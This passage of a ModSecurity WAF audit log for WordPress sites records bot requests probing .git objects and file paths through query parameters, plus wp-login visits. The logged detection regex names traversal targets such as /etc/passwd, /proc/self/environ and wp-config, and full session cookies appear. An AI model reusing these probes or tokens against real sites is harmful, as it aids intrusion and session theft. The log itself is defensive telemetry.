109'"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":273,"p2":5188,"p3":0,"p4":0,"p5":420,"sr":162,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:08:40:43.031411 +0100","transaction_id":"abO_eyk_5SD0eS8y3KSDAQAAABc","remote_address":"95.111.251.26","remote_port":58658,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /images/ HTTP/1.1","headers":{"Host":"jmkconsulting-ci.com","X-Real-IP":"95.111.251.26","X-Forwarded-Proto":"https","X-Request-Id":"9839d272b27665843dc1e7cbe11c5403","X-L-Admin-Auth":"0","Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8","User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36","Accept-Language":"en-US,en;q=0.9,fr;q=0.8","referer":"binance.com","Upgrade-Insecure-Requests":"1","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"4623023","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"9839d272b27665843dc1e7cbe11c5403","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"error_messages":["[file \"mod_autoindex.c\"] [line 2326] [level 3] AH01276: Cannot serve directory /var/www/jmkconsulting-ci.com/htdocs/images/: No matching DirectoryIndex (index_expiration.html,index_maintenance.html,index_redirection.html,index.php,index.php5,index.php4,index.php3,index.shtml,index.html,index.htm,index.jsp,default.htm,Index.html,Index.htm,Index.php,Default.htm,INDEX.HTML,INDEX.HTM,INDEX.PHP,DEFAULT.HTM,index_parking.html,default_index.html,index_lws.html) found, and server-generated directory index forbidden by Options directive"],"stopwatch":{"p1":262,"p2":3229,"p3":0,"p4":0,"p5":216,"sr":112,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:08:46:19.348120 +0100","transaction_id":"abPAyupktdsH9gDJB7NgrwAAAFM","remote_address":"114.119.150.95","remote_port":37288,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /shopdetail/5731051 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"114.119.150.95","X-Forwarded-Proto":"http","X-Request-Id":"d3f1d626841224571e2bbfc1cc9a79c2","X-L-Admin-Auth":"0","User-Agent":"Mozilla/5.0 (Linux; Android 7.0;) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; PetalBot;+https://webmaster.petalsearch.com/site/petalbot)","Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Accept-Language":"en","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"9012018","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":500,"headers":{"Link":"<http://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\"","Expires":"Wed, 11 Jan 1984 05:00:00 GMT","Cache-Control":"no-cache, must-revalidate, max-age=0, no-store, private","X-Orig-Rid":"d3f1d626841224571e2bbfc1cc9a79c2","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Connection":"close","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"error_messages":["[file \"mod_proxy_fcgi.c\"] [line 960] [level 3] AH01071: Got error 'PHP message: PHP Fatal error:  Cannot redeclare __() (previously declared in /htdocs/ptso.jmkconsulting-ci.com/wp-includes/l10n.php:306) in /htdocs/ptso.jmkconsulting-ci.com/wp-content/themes/agrios/404.php on line 109'"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":176,"p2":5040,"p3":0,"p4":0,"p5":268,"sr":173,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:08:48:49.445560 +0100","transaction_id":"abPBYJUwG8lyoidFkgK9iAAAAIY","remote_address":"57.141.20.43","remote_port":41814,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=/htdocs/coopo.jmkconsulting-ci.com/SCAES/.git/objects/c7/e0502aa6acf77c1dcfac00fad499a0726318bf HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.43","X-Forwarded-Proto":"https","X-Request-Id":"8d98bdc76a738afd94d80ecf54036f04","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"13008989"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2488>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"8d98bdc76a738afd94d80ecf54036f04","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/agriculture-products/?rename=/htdocs/coopo.jmkconsulting-ci.com/scaes/.git/objects/c7/e0502aa6acf77c1dcfac00fad499a0726318bf||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":189,"p2":3841,"p3":0,"p4":0,"p5":371,"sr":121,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:08:49:52.182085 +0100","transaction_id":"abPBn5UwG8lyoidFkgK-BQAAAJI","remote_address":"57.141.20.19","remote_port":46496,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?edit=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/25/b9132d859e59a78e30a5423f1eac2e5aad0aea HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.19","X-Forwarded-Proto":"https","X-Request-Id":"d7eaa1fd2b78ddb09f804e05c1f5e776","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"13467877"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"d7eaa1fd2b78ddb09f804e05c1f5e776","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/dairy-products/?edit=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/25/b9132d859e59a78e30a5423f1eac2e5aad0aea||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":304,"p2":5714,"p3":0,"p4":0,"p5":312,"sr":124,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:08:51:31.785422 +0100","transaction_id":"abPCAyk_5SD0eS8y3KSJXwAAAAc","remote_address":"57.141.20.12","remote_port":34024,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?view=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/b7/fdbbd91d49eda81ac96eed7d9010aef43a7d87 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.12","X-Forwarded-Proto":"https","X-Request-Id":"464a6348438981ef144fbbf860988f44","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"13959395"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"464a6348438981ef144fbbf860988f44","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/dairy-products/?view=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/b7/fdbbd91d49eda81ac96eed7d9010aef43a7d87||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":341,"p2":5813,"p3":0,"p4":0,"p5":478,"sr":147,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:08:51:48.284497 +0100","transaction_id":"abPCFCnav9e7k7pbcxmCEwAAAg4","remote_address":"157.151.167.16","remote_port":59048,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /wp-login.php HTTP/1.1","headers":{"Host":"jmkconsulting-ci.com","X-Real-IP":"157.151.167.16","X-Forwarded-Proto":"http","X-Request-Id":"3a85750b9fb9985b0314d7f00318786e","X-L-Admin-Auth":"0","User-Agent":"Mozilla/5.0 (X11; Linux x86_64) Gecko/20100101 Firefox/117.0","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","Cookie":"XSRF-TOKEN=eyJpdiI6IklkaHJibTZHU1B4RjBMT1Z4TmIxNnc9PSIsInZhbHVlIjoiTDg4TGZMN0xwNC8zQ3pQZzFLWlA3enBhMzJvMEN2blRoN3lxcHl4SUZhcTVITTRUSGlyU3F6SXRpSFJGQWwzOUZVbmFXVXpQdmg4aS9kR25TRnhpWXF3QklBTUF1ZEw3ZVUrN0RBVXAvTWV1VXM4Mk5kbjNZcGsxNzdXMndteDMiLCJtYWMiOiI0Y2RkNzJkZGI2MjAyNjI2YTdiMzk2NGY0NTUxOTgxNDcwNmJlYmM0MjJlOWZmMzQzODdjODA3M2ZjMDExOGUyIiwidGFnIjoiIn0%3D; page_dadministration_jmk_session=eyJpdiI6ImRiT1QyandadFV1Zkx3TmdGeS9IMFE9PSIsInZhbHVlIjoiZks4OUNtN3VJUUc4NVo0MHpvMUk3T2x0UEtKaGR6UXVxaFJURDJLSEdkVjVhMEZrcy9udzVyalpta0p2MWI2b2JMMTRhZG5samovTkpSdnJrOGlJbE50WVBiQldCZXRQTnJtdy9HRUlaWVM1bms1OVp3N3N5eHcrYkdjeHB5TGYiLCJtYWMiOiI3YWMzZjZhMjhiNzY1M2ZmODlkZjIyZTc1N2YzM2RjZDJiYzQwZGE3YjExMDdkMTgwOGUwOWEwZjQxNTkxOTYwIiwidGFnIjoiIn0%3D","X-Varnish":"13468150","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":301,"headers":{"Location":"https://jmkconsulting-ci.com/wp-login.php","Content-Length":"375","Content-Type":"text/html; charset=iso-8859-1"},"body":""},"audit_data":{"messages":["Match of \"rx ^POST\" against \"REQUEST_METHOD\" required. [file \"/usr/share/modsecurity_lws/005_i360_bruteforce.conf\"] [line \"185\"] [id \"77350636\"] [msg \"IM360 WAF: Access to login page in WordPress (counter)||RSV:7.71||T:APACHE||MV:GET||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":258,"p2":4734,"p3":46,"p4":4,"p5":284,"sr":126,"sw":0,"l":0,"gc":0},"response_body_dechunked":true,"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:08:51:48.418466 +0100","transaction_id":"abPCFCnav9e7k7pbcxmCFAAAAg4","remote_address":"157.151.167.16","remote_port":59048,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /wp-login.php HTTP/1.1","headers":{"Host":"jmkconsulting-ci.com","X-Real-IP":"157.151.167.16","X-Forwarded-Proto":"https","X-Request-Id":"54e37d2df2ef07c5d4a6979559c423f0","X-L-Admin-Auth":"0","user-agent":"Mozilla/5.0 (X11; Linux x86_64) Gecko/20100101 Firefox/117.0","referer":"http://jmkconsulting-ci.com/wp-login.php","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","Cookie":"XSRF-TOKEN=eyJpdiI6IklkaHJibTZHU1B4RjBMT1Z4TmIxNnc9PSIsInZhbHVlIjoiTDg4TGZMN0xwNC8zQ3pQZzFLWlA3enBhMzJvMEN2blRoN3lxcHl4SUZhcTVITTRUSGlyU3F6SXRpSFJGQWwzOUZVbmFXVXpQdmg4aS9kR25TRnhpWXF3QklBTUF1ZEw3ZVUrN0RBVXAvTWV1VXM4Mk5kbjNZcGsxNzdXMndteDMiLCJtYWMiOiI0Y2RkNzJkZGI2MjAyNjI2YTdiMzk2NGY0NTUxOTgxNDcwNmJlYmM0MjJlOWZmMzQzODdjODA3M2ZjMDExOGUyIiwidGFnIjoiIn0%3D; page_dadministration_jmk_session=eyJpdiI6ImRiT1QyandadFV1Zkx3TmdGeS9IMFE9PSIsInZhbHVlIjoiZks4OUNtN3VJUUc4NVo0MHpvMUk3T2x0UEtKaGR6UXVxaFJURDJLSEdkVjVhMEZrcy9udzVyalpta0p2MWI2b2JMMTRhZG5samovTkpSdnJrOGlJbE50WVBiQldCZXRQTnJtdy9HRUlaWVM1bms1OVp3N3N5eHcrYkdjeHB5TGYiLCJtYWMiOiI3YWMzZjZhMjhiNzY1M2ZmODlkZjIyZTc1N2YzM2RjZDJiYzQwZGE3YjExMDdkMTgwOGUwOWEwZjQxNTkxOTYwIiwidGFnIjoiIn0%3D","X-Varnish":"11305765","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":404,"headers":{"Cache-Control":"no-cache, private","X-Orig-Rid":"54e37d2df2ef07c5d4a6979559c423f0","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Match of \"rx ^POST\" against \"REQUEST_METHOD\" required. [file \"/usr/share/modsecurity_lws/005_i360_bruteforce.conf\"] [line \"185\"] [id \"77350636\"] [msg \"IM360 WAF: Access to login page in WordPress (counter)||RSV:7.71||T:APACHE||MV:GET||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":275,"p2":4425,"p3":0,"p4":0,"p5":238,"sr":129,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:08:51:55.767948 +0100","transaction_id":"abPCG5UwG8lyoidFkgK_bwAAAI0","remote_address":"57.141.20.55","remote_port":59050,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?edit=/htdocs/coopo.jmkconsulting-ci.com/SCAES/.git/objects/6a/2c8c7161e5d4ae772d0a3ddead74fb94aa1841 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.55","X-Forwarded-Proto":"https","X-Request-Id":"c0c3ad42abd49503d6e5480a31805c3b","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"2231495"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2488>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"c0c3ad42abd49503d6e5480a31805c3b","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/agriculture-products/?edit=/htdocs/coopo.jmkconsulting-ci.com/scaes/.git/objects/6a/2c8c7161e5d4ae772d0a3ddead74fb94aa1841||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":211,"p2":4034,"p3":0,"p4":0,"p5":374,"sr":137,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:08:52:14.709427 +0100","transaction_id":"abPCLupktdsH9gDJB7NjgAAAAFQ","remote_address":"57.141.20.50","remote_port":59062,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?rename=/usr/base/usr/share/terminfo/a/ambas HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.50","X-Forwarded-Proto":"https","X-Request-Id":"49d2419085e5ce3190bf6f28b4130e93","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"12189712"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"49d2419085e5ce3190bf6f28b4130e93","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/terminfo/a/ambas||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":189,"p2":3557,"p3":0,"p4":0,"p5":311,"sr":112,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:08:53:01.425785 +0100","transaction_id":"abPCXepktdsH9gDJB7Nj9AAAAEQ","remote_address":"57.141.20.50","remote_port":39482,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?view=/htdocs/coopo.jmkconsulting-ci.com/SCAES/.git/objects/8a/d7f7dceefdc0767dd294052bcce024d98ec30e HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.50","X-Forwarded-Proto":"https","X-Request-Id":"0a25c688bca05e52ea9456308f937138","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"4785654"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2488>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"0a25c688bca05e52ea9456308f937138","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/agriculture-products/?view=/htdocs/coopo.jmkconsulting-ci.com/scaes/.git/objects/8a/d7f7dceefdc0767dd294052bcce024d98ec30e||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":325,"p2":6451,"p3":0,"p4":0,"p5":257,"sr":151,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:08:53:06.699195 +0100","transaction_id":"abPCYupktdsH9gDJB7NkBQAAAEw","remote_address":"57.141.20.24","remote_port":56682,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?rename=/usr/base/usr/share/locale/eu/LC_MESSAGES/man-db-gnulib.mo HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.24","X-Forwarded-Proto":"https","X-Request-Id":"1531c21ac4ca69320aad613c1d72f7f6","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"13533261"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"1531c21ac4ca69320aad613c1d72f7f6","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/locale/eu/LC_MESSAGES/man-db-gnulib.mo||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":292,"p2":6768,"p3":0,"p4":0,"p5":459,"sr":164,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:08:53:11.996803 +0100","transaction_id":"abPCZ-nVRt9COePE1j5-pQAAAMU","remote_address":"57.141.20.6","remote_port":40722,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=/usr/base/usr/share/terminfo/b/beterm HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.6","X-Forwarded-Proto":"https","X-Request-Id":"f41e8eab4a2de80d7371f850d77086b3","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"10093154"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2488>; rel=shortlink","Upgrade":"h2,h2c","Connection":"Upgrade","Vary":"Accept-Encoding","X-Orig-Rid":"f41e8eab4a2de80d7371f850d77086b3","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/terminfo/b/beterm||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":334,"p2":14293,"p3":0,"p4":0,"p5":351,"sr":152,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
